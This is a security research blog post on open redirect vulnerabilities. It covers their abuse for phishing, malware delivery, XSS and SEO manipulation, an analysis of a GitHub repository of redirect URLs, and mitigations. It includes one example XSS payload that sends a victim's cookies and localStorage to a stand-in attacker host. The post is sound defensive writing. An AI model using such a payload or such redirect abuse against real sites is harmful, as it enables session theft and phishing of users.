Open redirects: real-world abuse and recommendations
Open URL redirection is a class of web application security problems that makes it easier for attackers to direct users to malicious resources. This vulnerability class, also known as “open redirects,” arises when an application allows attackers to pass information to the app that results in users being sent to another location. That location can be an attacker-controlled website or server used to distribute malware, trick a user into trusting a link, execute malicious code in a trusted way, drive ad fraud, or even perform SEO manipulation. Knowing how an open redirect can be abused is helpful — but knowing how to design around it in the first place is even more important.
One of our goals on the Fastly Security Research Team is to understand the tactics attackers use to manipulate applications and how they can be stopped. Attackers will adopt tricks of other trades if it will help them achieve their goals, so understanding live examples of unwanted activity driven by any motivation can illuminate how an attacker could use the same methods and tools for malice. That’s why we were interested to find a GitHub repository full of redirects during one of our hunts.
In this post, we’ll take you through what was uncovered, explain how redirects are used, how they can be abused, and how you can prevent that abuse.
The risk of URL redirection
For years, the lesson taught to end users has been to examine a link before clicking on it. Security training often shows examples of how to verify that the domain is the one expected before clicking.
A simple example is to ensure that you are clicking on:
and not things like:
However, this same training has not prepared users for a site that accepts redirection, such as:
If anything, end users have been explicitly taught to trust this particular example, even if it ultimately redirects to badexample.com. This puts the onus on the developers and administrators of any site to ensure that their technology can’t be used to redirect the user to an unintended site. If they fail at this, the redirection can hurt their reputation and directly harm their users.
So what exactly is an open redirect?
HTTP/1.1 301 Moved PermanentlyLocation: https://www.example.com/newapp
<meta http-equiv="refresh" content="5;URL='https://www.example.com/newapp'"/>
window.location.href = 'https://www.example.com/newapp'
In these examples, a user that browsed to
http://www.example.com/oldapp and received these responses would see their browser automatically open the new location at
https://www.example.com/newapp. In contrast to these examples that stay on the same domain, an open redirect is going to be unintentional and redirect the user to something controlled by the attacker.
An open redirect is where the redirected URL can be specified from outside the application and an arbitrary location can be provided. For example, in the URL
goodexample.com/redir.php?q=badexample.com, the application redir.php is accepting the query string
q=badexample.com and redirecting to
Open redirects can be subdivided further into three behaviors:
Delayed, but still requiring no user input. In the HTML example above, the number 5 represents a 5-second delay before automatically redirecting. This allows for a page to warn the user what is about to happen, but still does it automatically.
Requiring user input. A page that in no way redirects without the user clicking something fits in this category. This makes abusing trust significantly more difficult and is a much lower risk implementation when coupled with a warning about what the user is about to do.
Malicious abuse of redirection
The simplest examples of abusing URL redirection are phishing and malware delivery, but Cross Site Scripting (XSS) is also possible through redirects.
The most popular mechanism for attackers to deliver any malicious link is email, since it provides an opportunity to deliver a lure. Lures are the text of the email that provide a narrative and call to action used by an attacker to convince their target to click a link.
Some popular lure types create a sense of urgency around financial fraud, while others entice the receiver with new information about a current event. Anything that feels natural or urgent to the end user may result in them opening a link.
Attackers can perform phishing by recreating the trusted site’s look and feel at a malicious location, then waiting for the user to attempt to login. For example, an attacker could host an imitation of a bank’s website on a domain they control. Then, the attacker could craft a URL using open redirects on the bank’s site to redirect the user to the malicious site:
In this example, the attacker is abusing
goodbank.example.com to redirect to
phishingexample.com/goodbankfrauddept, which is controlled by the attacker.
Malware delivery via open redirects looks very similar to the phishing case; the only difference is the ultimate destination is a malicious file rather than a phishing page:
goodhealthsite.example.com has an open redirect that results in the user downloading the malicious file from
Here is a URL decoded version of the URL as well:
https://example.com/proxy.php?link=<script>image = new Image(); image.src="https://collectionexample.com/?c="+document.cookie+"ls="+JSON.stringify(localStorage);</script>
In this example, the user’s browser will take all available cookies and locally stored information for
example.com and send it to the attacker-controlled domain
Active use of redirection
We’re always looking to understand active use of these techniques, and some recent data analysis led us to an interesting, no longer active GitHub user (https://github.com/sonalimandloi/).
The files this user had stored in their repositories represent more than 18,000 rows of URLs that appear to be attempts at open redirect abuse. However, they break down into a relatively small number of groups.
87% of the URLs contain a query string that attempts to abuse open redirects to point requests toward 13 domains.
12% are links to unrelated sites where user accounts have been created with links back to the above domain list. The usernames created are consistent throughout the sites.
<1% are URL shorteners or links to direct blog entries that both also link back to the above domains.
What are they doing?
To score the value of a website, the most common criteria are how many other things link to it or access it. The resulting scores inform search engine results, advertising value, or even how much a domain is worth when sold. While the ultimate goal of this particular user is unclear, it is clear they were trying to raise the visibility and value of the sites, and open redirects were a part of their method to do so.
This user’s behavior provides useful insight into a large number of redirects being abused, which can help us understand more about how to find them in the wild. After all, the glimpse into their potential SEO manipulation is intriguing but much less useful for our security purposes.
The source data we reviewed contains more than 3,000 unique redirects listed in the files. Many of these appear to require user click-through (showing that the manipulation may not have required a transparent redirect), and many more no longer function. However, at least nine months after being enumerated, 23 of the unique open redirect URLs listed still provide full URL redirection.
In order to uncover more of these URLs, their structures can inform how to search for them. The Top 10 redirects observed are:
The great news here is that a number of these redirects stand out as things a typical security team would look for. Endpoint terms like
exit are all items worth assessing to ensure redirects are not possible from outside the intended scope. We highly recommend looking across your own footprint for these types of endpoints and testing them for open redirects. Tests can be performed by inserting URLs, encoded and decoded, inside any application that provides the functionality to redirect users to another location.
However, there are endpoints throughout the list that do not stand out as undesirable — but their query argument names provide further opportunity to enumerate potential problems. Arguments such as
outLink present worthy opportunities to identify possible open redirects from an application running on your footprint.
Now that we understand how they can be abused and some common names they use, it’s time to discuss how to design applications to prevent them from being abused in the first place. The key question worth asking during the design phase of a project is: do we need to provide a redirect at all? There are valid reasons for an application to want to track outbound links, but they require additional design considerations to protect them from abuse. Your organization should consider whether the additional overhead is worth it or if it’s a better choice to avoid redirects entirely.
If your organization decides to still implement redirects, the optimal mitigation is to avoid user input entirely. Only providing redirection as the app calls for it removes the significant attack surface of user input. If removing user input doesn’t meet the application requirements, a predefined list of URLs to properly match against can eliminate the possibility of arbitrary malicious destinations being inserted.
If redirection based on user input is required, it is a best practice to limit what schemes can be used in the redirection. Restricting input to
Many of the redirects observed in the wild do not perform a redirect unless the user clicks a link or pushes a button within the page. The user will often be presented with a visual warning explaining the risk they are taking by proceeding. Unfortunately, we all know that people often don’t read thoroughly when in a hurry — and some may find these warnings confusing — so while these warning messages can potentially alter user behavior, we still recommend approaching the software design with the above recommendations. For further reading on the topic, you can take a look at the OWASP guidance for open redirects.
We’ve notified GitHub of the repository full of open redirects and also notified all the owners of URLs vulnerable to open redirects that are still functional of their potential for abuse. However, we know this one user’s list of endpoints does not represent the entirety of what exists in the world.
We’d encourage each of you to take the time to think about how you identify and protect against abuse of open redirects in your own environments, and use the information provided here to help your development and security teams assess the correct way to implement this type of feature in your environment.
If you would like to learn more about how Fastly can help you with your security needs, visit https://www.fastly.com/products/cloud-security.